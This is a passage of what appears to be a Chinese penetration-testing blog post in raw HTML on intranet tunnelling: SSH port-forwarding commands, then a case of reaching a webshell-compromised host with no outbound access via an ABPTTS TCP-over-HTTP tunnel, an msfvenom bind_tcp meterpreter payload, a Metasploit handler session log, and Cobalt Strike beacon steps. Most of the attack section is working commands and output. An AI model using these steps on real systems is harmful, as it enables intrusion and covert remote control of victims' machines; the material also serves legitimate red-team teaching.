将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh客户端，再由ssh客户端转发到114.114.114.114:9999</span><br/></pre></td></tr></tbody></table></figure><p>动态转发：</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="682"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="613"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 613.672px;"><span style="height: 1.3em;font-size: 13px;">ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1</span><br/><span style="height: 1.3em;font-size: 13px;"># ssh客户端监听127.0.0.1:7777开启socks服务，将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端，再由ssh服务端转发到目标地址</span><br/></pre></td></tr></tbody></table></figure><p>构建ssh隧道的常用参数:</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="682"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="613"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 613.672px;"><span style="height: 1.3em;font-size: 13px;">-C 压缩传输，提高传输速度</span><br/><span style="height: 1.3em;font-size: 13px;">-f 后台执行数据传输</span><br/><span style="height: 1.3em;font-size: 13px;">-N 建立静默连接</span><br/><span style="height: 1.3em;font-size: 13px;">-g 允许远程主机连接本地用于转发的端口</span><br/><span style="height: 1.3em;font-size: 13px;">-L 本地端口转发</span><br/><span style="height: 1.3em;font-size: 13px;">-R 远程端口转发</span><br/><span style="height: 1.3em;font-size: 13px;">-D 动态转发，即SOCKS代理</span><br/><span style="height: 1.3em;font-size: 13px;">-p 指定ssh连接端口</span><br/></pre></td></tr></tbody></table></figure></li></ul><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);">0x3 实战中的内网穿透案例</h2><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);">0x3.1 上线零出网的内网主机</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-weight: bolder;">实战背景：</span>获取了webshell的主机位于内网，并且该内网主机icmp等网络层协议不能出网，tcp和udp等传输层协议不能出网，dns、http等应用层协议也不能出网，唯一的数据通道是反向代理入网的web应用。</p><h4 style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">方案设计</h4><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">利用反向代理入网的web应用所在的HTTP连接，构建正向的<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">TCP over HTTP</code>隧道。通过这条隧道，我们可以向内网主机发起tcp连接。生成bind类型的payload，通过webshell上传执行就会监听一个端口，我们的远控平台通过构建的<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">TCP over HTTP</code>隧道，去连接监听的端口即可上线。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">能构建<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">TCP over HTTP</code>的隧道的工具有<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">ABPTTS、Tunna、reDuh</code>等，由于<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">Tunna、reDuh</code>构建的tcp连接不稳定，这里选用<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">ABPTTS</code>。</p><h4 style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">0x3.1.1 上线metasploit</h4><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">1.通过正向的http隧道构建tcp连接</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="645"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 645.844px;"><span style="height: 1.3em;font-size: 13px;"># 配置abptts运行环境</span><br/><span style="height: 1.3em;font-size: 13px;"># 注意windows安装pycrypto库需要先安装依赖<a href="http://aka.ms/vcpython27" target="_blank">http://aka.ms/vcpython27</a></span><br/><span style="height: 1.3em;font-size: 13px;">pip install httplib2</span><br/><span style="height: 1.3em;font-size: 13px;">pip install pycrypto</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;"># 生成server端脚本</span><br/><span style="height: 1.3em;font-size: 13px;">python abpttsfactory.py -o server</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;"># 上传server端脚本到web服务器，客户端运行以下命令</span><br/><span style="height: 1.3em;font-size: 13px;">python abpttsclient.py -c server/config.txt -u &#34;<a href="http://192.168.168.10/abptts.aspx" target="_blank">http://192.168.168.10/abptts.aspx</a>&#34; -f 127.0.0.1:7777/127.0.0.1:8888</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;"># abptts客户端监听127.0.0.1:7777，通过<a href="http://192.168.168.10/abptts.aspx这个http隧道，将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888" target="_blank">http://192.168.168.10/abptts.aspx这个http隧道，将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888</a></span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">2.生成bind类型的payload，通过webshell上传执行</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 这里的rhost和lport是转发的目的IP和端口</span><br/><span style="height: 1.3em;font-size: 13px;">msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">3.启动msf监听，等待meterpreter执行上线</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="645"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 645.844px;"><span style="height: 1.3em;font-size: 13px;">#这里的rhost和lport是abptts客户端监听的IP和端口，msf所在主机必须能访问到这个IP和端口，这里msf和abptts在同一个主机上</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">msf5 &gt; use exploit/multi/handler</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set payload windows/meterpreter/bind_tcp</span><br/><span style="height: 1.3em;font-size: 13px;">payload =&gt; windows/meterpreter/bind_tcp</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set rhost 127.0.0.1</span><br/><span style="height: 1.3em;font-size: 13px;">rhost =&gt; 127.0.0.1</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set lport 7777</span><br/><span style="height: 1.3em;font-size: 13px;">lport =&gt; 7777</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; run</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">[*] Started bind TCP handler against 127.0.0.1:7777</span><br/><span style="height: 1.3em;font-size: 13px;">[*] Sending stage (180291 bytes) to 127.0.0.1</span><br/><span style="height: 1.3em;font-size: 13px;">[*] Meterpreter session 1 opened (0.0.0.0:0 -&gt; 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">meterpreter &gt; getuid</span><br/><span style="height: 1.3em;font-size: 13px;">Server username: DESKTOP-0AH7FQ0\admin</span><br/></pre></td></tr></tbody></table></figure><h4 style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">0x3.1.2 上线cobaltstrike</h4><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-weight: bolder;">由于cobaltstrike的bind类型的监听器仅有beacon TCP和beacon SMB，并且都必须连接到父beacon，无法直接连接cobalstrike服务端，所以我们需要一个父beacon来中转连接。</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">1.通过正向的http隧道构建tcp连接</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="645"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 645.844px;"><span style="height: 1.3em;font-size: 13px;"># 配置abptts运行环境</span><br/><span style="height: 1.3em;font-size: 13px;"># 注意windows安装pycrypto库需要先安装依赖<a href="http://aka.ms/vcpython27" target="_blank">http://aka.ms/vcpython27</a></span><br/><span style="height: 1.3em;font-size: 13px;">pip install httplib2</span><br/><span style="height: 1.3em;font-size: 13px;">pip install pycrypto</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;"># 生成server端脚本</span><br/><span style="height: 1.3em;font-size: 13px;">python abpttsfactory.py -o server</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;"># 上传server端脚本到web服务器，客户端运行以下命令</span><br/><span style="height: 1.3em;font-size: 13px;">python abpttsclient.py -c server/config.txt -u &#34;<a href="http://192.168.168.121/abptts.aspx" target="_blank">http://192.168.168.121/abptts.aspx</a>&#34; -f 127.0.0.1:7777/127.0.0.1:8888</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;"># abptts客户端监听127.0.0.1:7777，通过<a href="http://192.168.168.121/abptts.aspx这个http隧道，将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888" target="_blank">http://192.168.168.121/abptts.aspx这个http隧道，将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888</a></span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">2.创建反向的listener</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><br/></p><p><img data-ratio="1.121475054229935" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px;" data-type="png" data-w="461" src="https://wechat2rss.xlab.app/img-proxy/?k=a5c1c570&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1dxMuiadtCt4AqZzzrzAenexxGsJxAaDs15iav1JEtAnPvoDVE0jo0Evw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"/><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);">3.生成父beacon</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 0px 289px;right: auto;bottom: auto;"></span></p><p><img data-ratio="0.7119113573407202" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px;" data-type="png" data-w="361" src="https://wechat2rss.xlab.app/img-proxy/?k=7597152e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f18ic7tHndKVgA5qJtWgQZ3GQiagptAIWVzCWYoTu2D8ia14WMCe92gGpuQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"/><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);">4.上传父beacon到abptts客户端执行上线</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 0px 289px;right: auto;bottom: auto;"></span></p><p><img data-ratio="0.5875" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px;" data-type="png" data-w="1680" src="https://wechat2rss.xlab.app/img-proxy/?k=735d020d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1fiaqUr6UI9KPyTw8gL6wCjxrSoSeYTkiabI2Z2xS86SyrJRy0xQU1V9g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"/><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);">5.创建payload为tcp beacon的listener</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 0px 289px;right: auto;bottom: auto;"></span></p><p><img data-ratio="1.121475054229935" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;margin: 0px;" data-type="png" data-w="461" src="https://wechat2rss.xlab.app/img-proxy/?k=12ec1589&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1eqVgicicKLXicnjw5KPOIAwExyfAIibkd9P86OJMRUTdxBiba31exMGEGBg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, 